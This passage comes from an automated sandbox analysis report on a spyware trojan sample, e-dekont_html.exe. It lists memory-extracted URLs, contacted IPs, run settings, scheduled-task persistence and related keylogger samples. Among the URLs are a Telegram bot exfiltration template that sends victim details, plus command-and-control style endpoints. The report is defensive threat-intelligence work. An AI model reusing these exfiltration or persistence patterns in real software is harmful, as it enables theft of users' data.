https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:528110%0D%0ADate%20and%20Time:%2020/11/2024%20/%2017:43:06%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20528110%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://www.fontbureau.com/designersG	e-dekont_html.exe, 00000000.00000002.1776905061.0000000006EC2000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.fontbureau.com/designers/?	e-dekont_html.exe, 00000000.00000002.1776905061.0000000006EC2000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.founder.com.cn/cn/bThe	e-dekont_html.exe, 00000000.00000002.1776905061.0000000006EC2000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org	e-dekont_html.exe, 00000008.00000002.4161363308.0000000002E76000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4162043162.0000000003386000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot	e-dekont_html.exe, 00000000.00000002.1772474517.0000000003C49000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4158022319.000000000042E000.00000040.00000400.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4161363308.0000000002E76000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4162043162.0000000003386000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.fontbureau.com/designers?	e-dekont_html.exe, 00000000.00000002.1776905061.0000000006EC2000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.tiro.com	e-dekont_html.exe, 00000000.00000002.1776905061.0000000006EC2000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:528110%0D%0ADate%20a	e-dekont_html.exe, 00000008.00000002.4161363308.0000000002E76000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4162043162.0000000003386000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.fontbureau.com/designers	e-dekont_html.exe, 00000000.00000002.1776905061.0000000006EC2000.00000004.00000800.00020000.00000000.sdmp	false	high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	e-dekont_html.exe, 00000008.00000002.4161363308.0000000002E99000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4169157251.0000000003E70000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4169157251.0000000003EE5000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4169157251.0000000004014000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4169157251.0000000003EBD000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4169157251.0000000004137000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4169157251.0000000004061000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4169334415.0000000004647000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4169334415.0000000004571000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4169334415.00000000043F4000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4169334415.0000000004523000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4169334415.00000000043CD000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4169334415.000000000437F000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4162043162.00000000033A9000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.goodfont.co.kr	e-dekont_html.exe, 00000000.00000002.1776905061.0000000006EC2000.00000004.00000800.00020000.00000000.sdmp	false	high
https://chrome.google.com/webstore?hl=en	fahKSvwo.exe, 0000000D.00000002.4162043162.0000000003454000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4162043162.00000000033A9000.00000004.00000800.00020000.00000000.sdmp	false	high
http://tempuri.org/project_mgtDataSet.xsdOproject_mgt_system.Properties.Resources	e-dekont_html.exe, fahKSvwo.exe.0.dr	false	high
http://varders.kozow.com:8081	e-dekont_html.exe, 00000000.00000002.1772474517.0000000003C49000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4158022319.000000000042E000.00000040.00000400.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4161363308.0000000002D91000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4162043162.00000000032A1000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.sajatypeworks.com	e-dekont_html.exe, 00000000.00000002.1776905061.0000000006EC2000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.typography.netD	e-dekont_html.exe, 00000000.00000002.1776905061.0000000006EC2000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.founder.com.cn/cn/cThe	e-dekont_html.exe, 00000000.00000002.1776905061.0000000006EC2000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.galapagosdesign.com/staff/dennis.htm	e-dekont_html.exe, 00000000.00000002.1776905061.0000000006EC2000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org/xml/8.46.123.75$	e-dekont_html.exe, 00000008.00000002.4161363308.0000000002E76000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4161363308.0000000002E0B000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4161363308.0000000002E50000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4162043162.000000000331A000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4162043162.0000000003386000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4162043162.0000000003360000.00000004.00000800.00020000.00000000.sdmp	false	high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	e-dekont_html.exe, 00000008.00000002.4169157251.0000000003FEF000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4169157251.0000000003EC0000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4169157251.0000000003E76000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4169157251.000000000401A000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4169157251.0000000004112000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4169157251.0000000003E4B000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4169334415.0000000004386000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4169334415.000000000435B000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4169334415.0000000004622000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4169334415.00000000044FF000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4169334415.000000000452A000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4169334415.00000000043D0000.00000004.00000800.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org/q	e-dekont_html.exe, 00000000.00000002.1772474517.0000000003C49000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4158022319.000000000042E000.00000040.00000400.00020000.00000000.sdmp	false	high
http://www.galapagosdesign.com/DPlease	e-dekont_html.exe, 00000000.00000002.1776905061.0000000006EC2000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.fonts.com	e-dekont_html.exe, 00000000.00000002.1776905061.0000000006EC2000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.sandoll.co.kr	e-dekont_html.exe, 00000000.00000002.1776905061.0000000006EC2000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.urwpp.deDPlease	e-dekont_html.exe, 00000000.00000002.1776905061.0000000006EC2000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.zhongyicts.com.cn	e-dekont_html.exe, 00000000.00000002.1776905061.0000000006EC2000.00000004.00000800.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	e-dekont_html.exe, 00000000.00000002.1769422089.0000000002CB5000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4161363308.0000000002D91000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 00000009.00000002.1839101508.0000000002D05000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4162043162.00000000032A1000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.sakkal.com	e-dekont_html.exe, 00000000.00000002.1776905061.0000000006EC2000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000000.00000002.1776697265.0000000005D10000.00000004.00000020.00020000.00000000.sdmp	false	high
https://chrome.google.com/webstore?hl=enlBfq	e-dekont_html.exe, 00000008.00000002.4161363308.0000000002F4E000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4162043162.000000000345E000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org/xml/	e-dekont_html.exe, 00000000.00000002.1772474517.0000000003C49000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4158022319.000000000042E000.00000040.00000400.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4161363308.0000000002DE0000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4162043162.00000000032F0000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.office.com/	fahKSvwo.exe, 0000000D.00000002.4162043162.0000000003494000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4162043162.00000000033A9000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.apache.org/licenses/LICENSE-2.0	e-dekont_html.exe, 00000000.00000002.1776905061.0000000006EC2000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.fontbureau.com	e-dekont_html.exe, 00000000.00000002.1776905061.0000000006EC2000.00000004.00000800.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org	e-dekont_html.exe, 00000008.00000002.4161363308.0000000002D91000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4162043162.00000000032A1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	e-dekont_html.exe, 00000008.00000002.4161363308.0000000002E99000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4169157251.0000000003E70000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4169157251.0000000003EE5000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4169157251.0000000004014000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4169157251.0000000003EBD000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4169157251.0000000004137000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4169157251.0000000004061000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4169334415.0000000004647000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4169334415.0000000004571000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4169334415.00000000043F4000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4169334415.0000000004523000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4169334415.00000000043CD000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4169334415.000000000437F000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4162043162.00000000033A9000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot/sendMessage?chat_id=&text=	e-dekont_html.exe, 00000008.00000002.4161363308.0000000002E76000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4162043162.0000000003386000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.office.com/lBfq	e-dekont_html.exe, 00000008.00000002.4161363308.0000000002F7F000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4162043162.000000000348F000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.carterandcone.coml	e-dekont_html.exe, 00000000.00000002.1776905061.0000000006EC2000.00000004.00000800.00020000.00000000.sdmp	false	high
http://aborters.duckdns.org:8081	e-dekont_html.exe, 00000000.00000002.1772474517.0000000003C49000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4158022319.000000000042E000.00000040.00000400.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4161363308.0000000002D91000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4162043162.00000000032A1000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.fontbureau.com/designers/cabarga.htmlN	e-dekont_html.exe, 00000000.00000002.1776905061.0000000006EC2000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.founder.com.cn/cn	e-dekont_html.exe, 00000000.00000002.1776905061.0000000006EC2000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.fontbureau.com/designers/frere-user.html	e-dekont_html.exe, 00000000.00000002.1776905061.0000000006EC2000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anotherarmy.dns.army:8081	e-dekont_html.exe, 00000000.00000002.1772474517.0000000003C49000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4158022319.000000000042E000.00000040.00000400.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4161363308.0000000002D91000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4162043162.00000000032A1000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.jiyu-kobo.co.jp/	e-dekont_html.exe, 00000000.00000002.1776905061.0000000006EC2000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org	e-dekont_html.exe, 00000008.00000002.4161363308.0000000002E76000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4161363308.0000000002DE0000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4161363308.0000000002E50000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4162043162.00000000032F0000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4162043162.0000000003386000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4162043162.0000000003360000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.fontbureau.com/designers8	e-dekont_html.exe, 00000000.00000002.1776905061.0000000006EC2000.00000004.00000800.00020000.00000000.sdmp	false	high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	e-dekont_html.exe, 00000008.00000002.4169157251.0000000003FEF000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4169157251.0000000003EC0000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4169157251.0000000003E76000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4169157251.000000000401A000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4169157251.0000000004112000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4169157251.0000000003E4B000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4169334415.0000000004386000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4169334415.000000000435B000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4169334415.0000000004622000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4169334415.00000000044FF000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4169334415.000000000452A000.00000004.00000800.00020000.00000000.sdmp, fahKSvwo.exe, 0000000D.00000002.4169334415.00000000043D0000.00000004.00000800.00020000.00000000.sdmp	false	high
https://chrome.google.com/webstore?hl=enX~	e-dekont_html.exe, 00000008.00000002.4161363308.0000000002F44000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.office.com/X~	e-dekont_html.exe, 00000008.00000002.4161363308.0000000002F75000.00000004.00000800.00020000.00000000.sdmp	false	high
http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded	e-dekont_html.exe, 00000000.00000002.1772474517.0000000003C49000.00000004.00000800.00020000.00000000.sdmp, e-dekont_html.exe, 00000008.00000002.4158022319.000000000042E000.00000040.00000400.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
188.114.97.3	reallyfreegeoip.org	European Union	13335	CLOUDFLARENETUS	false
188.114.96.3	unknown	European Union	13335	CLOUDFLARENETUS	false
193.122.130.0	checkip.dyndns.com	United States	31898	ORACLE-BMC-31898US	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1559103
Start date and time:	2024-11-20 07:51:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 43s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	e-dekont_html.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@19/15@4/4
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 99% Number of executed functions: 340 Number of non-executed functions: 12
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target e-dekont_html.exe, PID 7308 because it is empty
Execution Graph export aborted for target fahKSvwo.exe, PID 7696 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
01:52:05	API Interceptor	7784949x Sleep call for process: e-dekont_html.exe modified
01:52:09	API Interceptor	80x Sleep call for process: powershell.exe modified
01:52:11	API Interceptor	5225168x Sleep call for process: fahKSvwo.exe modified
06:52:10	Task Scheduler	Run new task: fahKSvwo path: C:\Users\user\AppData\Roaming\fahKSvwo.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	REPLY TO NOTICE GST DRC-1A_pdf.exe	Get hash	malicious	Unknown	Browse
	Xkl0PnD8zFPjfh1.wiz.rtf	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	file.exe	Get hash	malicious	Ailurophile Stealer	Browse
	INQUIRY_pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	P.O 423737.exe	Get hash	malicious	MassLogger RAT	Browse
	z30ProofofPaymentAttached.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	https://drive.google.com/uc?export=download&id=1YBKJhy1GWwuEta_1b7KX-jKtXfpHDuuY	Get hash	malicious	HTMLPhisher	Browse
	Fac.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	New Order Data sheet Page.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse
	Factura Honorarios 2024-11-17.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
188.114.97.3	PO 20495088.exe	Get hash	malicious	FormBook	Browse	www.ssrnoremt-rise.sbs/3jsc/
	QUOTATION_NOVQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/zWkbOqX7/download
	http://kklk16.bsyo45ksda.top	Get hash	malicious	Unknown	Browse	kklk16.bsyo45ksda.top/favicon.ico
	gusetup.exe	Get hash	malicious	Unknown	Browse	www.glarysoft.com/update/glary-utilities/pro/pro50/
	Online Interview Scheduling Form.lnk	Get hash	malicious	Ducktail	Browse	gmtagency.online/api/check
	View Pdf Doc_0b40e7d2137cd39647abbd9321b34da7.htm	Get hash	malicious	Unknown	Browse	f7xiz.nhgrt.top/Kbo731/96f7xiZ96?&&V5G=YW5kZXJzLmhhcnR1bmcuY2hyaXN0ZW5zZW5Acm9ja3dvb2wuY29t
	SWIFT 103 202414111523339800 111124.pdf.vbs	Get hash	malicious	Remcos	Browse	paste.ee/d/YU1NN
	TT copy.exe	Get hash	malicious	FormBook	Browse	www.lnnn.fun/u5w9/
	QUOTATION_NOVQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/iiEh1iM3/download
	Scan12112024,pdf.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	paste.ee/d/dc8Ru

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
reallyfreegeoip.org	REPLY TO NOTICE GST DRC-1A_pdf.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	Xkl0PnD8zFPjfh1.wiz.rtf	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	Ref#501032.vbe	Get hash	malicious	MassLogger RAT	Browse	188.114.96.3
	rPO_1079021908.exe	Get hash	malicious	MassLogger RAT	Browse	188.114.96.3
	INQUIRY_pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	P.O 423737.exe	Get hash	malicious	MassLogger RAT	Browse	188.114.96.3
	Kayla Dennis CV.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	PROFORMA + PENDENTES.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	QUOTATION_NOVQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	z30ProofofPaymentAttached.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
checkip.dyndns.com	REPLY TO NOTICE GST DRC-1A_pdf.exe	Get hash	malicious	Unknown	Browse	132.226.247.73
	REPLY TO NOTICE GST DRC-1A_pdf.exe	Get hash	malicious	Unknown	Browse	132.226.247.73
	Xkl0PnD8zFPjfh1.wiz.rtf	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	Company catalog profile.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.247.73
	Ref#501032.vbe	Get hash	malicious	MassLogger RAT	Browse	132.226.8.169
	Quote GVSE24-00815.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.247.73
	Payment_transaction.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.247.73
	nowe zam#U00f3wienie.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	rPO_1079021908.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242
	INQUIRY_pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
api.telegram.org	REPLY TO NOTICE GST DRC-1A_pdf.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	Xkl0PnD8zFPjfh1.wiz.rtf	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	file.exe	Get hash	malicious	Ailurophile Stealer	Browse	149.154.167.220
	INQUIRY_pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	P.O 423737.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	z30ProofofPaymentAttached.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	https://drive.google.com/uc?export=download&id=1YBKJhy1GWwuEta_1b7KX-jKtXfpHDuuY	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	Fac.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	New Order Data sheet Page.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	149.154.167.220
	Factura Honorarios 2024-11-17.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	REPLY TO NOTICE GST DRC-1A_pdf.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	Xkl0PnD8zFPjfh1.wiz.rtf	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	file.exe	Get hash	malicious	Ailurophile Stealer	Browse	149.154.167.220
	INQUIRY_pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	P.O 423737.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	z30ProofofPaymentAttached.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	https://drive.google.com/uc?export=download&id=1YBKJhy1GWwuEta_1b7KX-jKtXfpHDuuY	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	Fac.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	New Order Data sheet Page.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	149.154.167.220
	Factura Honorarios 2024-11-17.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
CLOUDFLARENETUS	globe_product_order_korea_buy_20_11_2024_000000000000000000.vbs	Get hash	malicious	GuLoader, Remcos	Browse	104.21.91.199
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	vessel details_pdf.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	MV BUSAN STAR - calling to discharge about 55,000Mt of aggregates.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	https://cdn-defac21.artcollective-snapclick.com/api/reg/update.json	Get hash	malicious	Unknown	Browse	104.21.78.162
	file.exe	Get hash	malicious	LummaC	Browse	104.21.85.146
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	https://www.google.co.ao/url?Obdy=ObM8wNGVUva21gnTm3qS&cgsr=7knoOQwChvIkzgfn0TSm&sa=t&wofc=nQYL5DF797O1da77PTBQ&url=amp%2Fprimer-distrito-amvt.org%2F.r%2FiO8EME-SUREDANNaW50ZXJtb2RhbC5qYXhAc2VhYm9hcmRtYXJpbmUuY29t	Get hash	malicious	Unknown	Browse	188.114.96.3
CLOUDFLARENETUS	globe_product_order_korea_buy_20_11_2024_000000000000000000.vbs	Get hash	malicious	GuLoader, Remcos	Browse	104.21.91.199
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	vessel details_pdf.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	MV BUSAN STAR - calling to discharge about 55,000Mt of aggregates.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	https://cdn-defac21.artcollective-snapclick.com/api/reg/update.json	Get hash	malicious	Unknown	Browse	104.21.78.162
	file.exe	Get hash	malicious	LummaC	Browse	104.21.85.146
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	https://www.google.co.ao/url?Obdy=ObM8wNGVUva21gnTm3qS&cgsr=7knoOQwChvIkzgfn0TSm&sa=t&wofc=nQYL5DF797O1da77PTBQ&url=amp%2Fprimer-distrito-amvt.org%2F.r%2FiO8EME-SUREDANNaW50ZXJtb2RhbC5qYXhAc2VhYm9hcmRtYXJpbmUuY29t	Get hash	malicious	Unknown	Browse	188.114.96.3
ORACLE-BMC-31898US	Xkl0PnD8zFPjfh1.wiz.rtf	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
